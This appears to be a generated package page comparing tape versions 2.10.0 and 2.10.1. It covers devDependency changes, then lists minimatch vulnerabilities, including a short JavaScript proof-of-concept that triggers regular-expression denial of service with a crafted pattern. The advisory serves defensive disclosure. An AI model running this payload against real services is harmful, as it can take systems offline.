Tape is a popular and lightweight TAP-producing test harness for Node.js and browsers, designed for simplicity and ease of use. Comparing versions 2.10.0 and 2.10.1, the core functionality remains consistent, but developers should note key updates in the development dependencies that can impact their testing workflows.
Both versions share the same core dependencies, including modules for globbing, value definition, resumable streams, data transformation, inheritance, deep equality checks, and object inspection, all essential for the testing framework's operation. However, the primary difference lies in the devDependencies. Version 2.10.1 sees an update to the tap testing tool, moving from version ~0.3.0 to ~0.4.8, likely bringing bug fixes, performance improvements, or new features to the test output. In contrast, version 2.10.0 utilizes older versions of tap (~0.3.0) and falafel (~0.1.4), whereas 2.10.1 uses falafel ~0.3.1. This can impact developers using tape with code analysis during tests. Developers may want to upgrade to version 2.10.1 if they are experiencing problems with previous versions of tap. Also it's worth to notice difference in release date, that means that 2.10.1 was published recently after previous stable version.
All the vulnerabilities related to the version 2.10.1 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.